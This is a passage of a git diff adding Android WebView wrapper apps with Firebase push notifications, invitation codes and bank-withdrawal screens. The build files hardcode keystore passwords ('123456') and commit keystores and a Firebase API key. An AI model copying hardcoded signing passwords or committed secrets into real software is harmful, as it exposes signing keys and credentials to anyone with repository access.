com.web.base.MainActivity2 { @@ -20,8 +21,17 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"user_code",userId); saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url","https://cergas.online/"); - + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#7a4f2f"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#272727"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(new OnCompleteListener() { @@ -31,7 +41,7 @@ public class MainActivity2 extends com.web.base.MainActivity2 { if (!task.isSuccessful()) { msg = "Subscribe failed"; } - + LogUtils.i("结果:"+msg); } }); } diff --git a/cergas/src/main/java/com/web/cergas/MyFirebaseMessageingService.java b/cergas/src/main/java/com/web/cergas/MyFirebaseMessageingService.java index 6dd5de4..6937f05 100644 --- a/cergas/src/main/java/com/web/cergas/MyFirebaseMessageingService.java +++ b/cergas/src/main/java/com/web/cergas/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/cergas/src/main/res/drawable/big_bg.xml b/cergas/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..5ffc150 --- /dev/null +++ b/cergas/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/cergas/src/main/res/values/colors.xml b/cergas/src/main/res/values/colors.xml index 7895913..3430b60 100644 --- a/cergas/src/main/res/values/colors.xml +++ b/cergas/src/main/res/values/colors.xml @@ -9,6 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF + #7a4f2f #2C2C2E #FFA722 diff --git a/cergas/src/main/res/values/themes.xml b/cergas/src/main/res/values/themes.xml index e47899f..afa16e7 100644 --- a/cergas/src/main/res/values/themes.xml +++ b/cergas/src/main/res/values/themes.xml @@ -64,7 +64,7 @@ @color/white - @color/white + @color/main_color false diff --git a/cpx88/.gitignore b/cpx88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/cpx88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/cpx88/build.gradle b/cpx88/build.gradle new file mode 100644 index 0000000..9f80a68 --- /dev/null +++ b/cpx88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.cpx.cpx" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('cpx.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('cpx.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "cpx88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/cpx88/cpx.jks b/cpx88/cpx.jks new file mode 100644 index 0000000..2e6ca59 Binary files /dev/null and b/cpx88/cpx.jks differ diff --git a/cpx88/google-services.json b/cpx88/google-services.json new file mode 100644 index 0000000..c948d61 --- /dev/null +++ b/cpx88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "486655971812", + "project_id": "cpx88-53992", + "storage_bucket": "cpx88-53992.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:486655971812:android:75c592f9272b9ceed137f1", + "android_client_info": { + "package_name": "com.cpx.cpx" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAg267vqy1e9Js2PcHhfl-24GgFh4oaVWM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/cpx88/oyen.jks b/cpx88/oyen.jks new file mode 100644 index 0000000..9552acf Binary files /dev/null and b/cpx88/oyen.jks differ diff --git a/cpx88/ppn.jks b/cpx88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/cpx88/ppn.jks differ diff --git a/cpx88/proguard-rules.pro b/cpx88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/cpx88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/cpx88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/cpx88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/cpx88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/cpx88/src/main/AndroidManifest.xml b/cpx88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..94bb41e --- /dev/null +++ b/cpx88/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/java/com/cpx/cpx/MainActivity.java b/cpx88/src/main/java/com/cpx/cpx/MainActivity.java new file mode 100644 index 0000000..cfe4f53 --- /dev/null +++ b/cpx88/src/main/java/com/cpx/cpx/MainActivity.java @@ -0,0 +1,49 @@ +package com.cpx.cpx; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 170; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://cpx88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#27012c"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#27012c"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/cpx88/src/main/java/com/cpx/cpx/MyFirebaseMessageingService.java b/cpx88/src/main/java/com/cpx/cpx/MyFirebaseMessageingService.java new file mode 100644 index 0000000..9f14795 --- /dev/null +++ b/cpx88/src/main/java/com/cpx/cpx/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.cpx.cpx; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/cpx88/src/main/java/com/cpx/cpx/WebApplication.java b/cpx88/src/main/java/com/cpx/cpx/WebApplication.java new file mode 100644 index 0000000..c7af1a0 --- /dev/null +++ b/cpx88/src/main/java/com/cpx/cpx/WebApplication.java @@ -0,0 +1,35 @@ +package com.cpx.cpx; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/cpx88/src/main/res/drawable-anydpi/ic_action_back.xml b/cpx88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/cpx88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/cpx88/src/main/res/drawable-hdpi/ic_action_back.png b/cpx88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/cpx88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/cpx88/src/main/res/drawable-mdpi/ic_action_back.png b/cpx88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/cpx88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/cpx88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/cpx88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/cpx88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable-xhdpi/ic_action_back.png b/cpx88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/cpx88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/cpx88/src/main/res/drawable-xxhdpi/ic_action_back.png b/cpx88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/cpx88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/cpx88/src/main/res/drawable/big_bg.xml b/cpx88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..dff5074 --- /dev/null +++ b/cpx88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/ic_launcher_background.xml b/cpx88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/cpx88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/cpx88/src/main/res/drawable/input_bg.xml b/cpx88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/cpx88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/cpx88/src/main/res/drawable/pass_word_bg.xml b/cpx88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/cpx88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/cpx88/src/main/res/drawable/pass_word_bg1.xml b/cpx88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/cpx88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/pass_word_bg2.xml b/cpx88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/cpx88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/shape_btn_bg.xml b/cpx88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/cpx88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/shape_dialog_bg2.xml b/cpx88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/cpx88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/shape_dialog_bg3.xml b/cpx88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/cpx88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/drawable/shape_dialog_bg_new.xml b/cpx88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/cpx88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cpx88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/mipmap-hdpi/ic_empty.png b/cpx88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/cpx88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/cpx88/src/main/res/mipmap-hdpi/ic_pull_down.png b/cpx88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/cpx88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/cpx88/src/main/res/mipmap-xhdpi/ic_close.png b/cpx88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/cpx88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/cpx88/src/main/res/mipmap-xhdpi/ic_menu.png b/cpx88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/cpx88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/cpx88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/cpx88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..f55e8ee Binary files /dev/null and b/cpx88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/cpx88/src/main/res/values-en/strings.xml b/cpx88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/cpx88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/cpx88/src/main/res/values-night/themes.xml b/cpx88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/cpx88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/values/colors.xml b/cpx88/src/main/res/values/colors.xml new file mode 100644 index 0000000..cbe9890 --- /dev/null +++ b/cpx88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #27012c + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/cpx88/src/main/res/values/strings.xml b/cpx88/src/main/res/values/strings.xml new file mode 100644 index 0000000..68b95cf --- /dev/null +++ b/cpx88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + CPX88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/values/themes.xml b/cpx88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/cpx88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/xml/app_updater_paths.xml b/cpx88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/cpx88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/xml/network_security_config.xml b/cpx88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/cpx88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cpx88/src/main/res/xml/provider_paths.xml b/cpx88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/cpx88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/cpx88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/cpx88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/cpx88_test/.gitignore b/cpx88_test/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/cpx88_test/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/cpx88_test/build.gradle b/cpx88_test/build.gradle new file mode 100644 index 0000000..1b199a8 --- /dev/null +++ b/cpx88_test/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.lqbz.sxbk" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('cpx.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('cpx.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "cpx88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 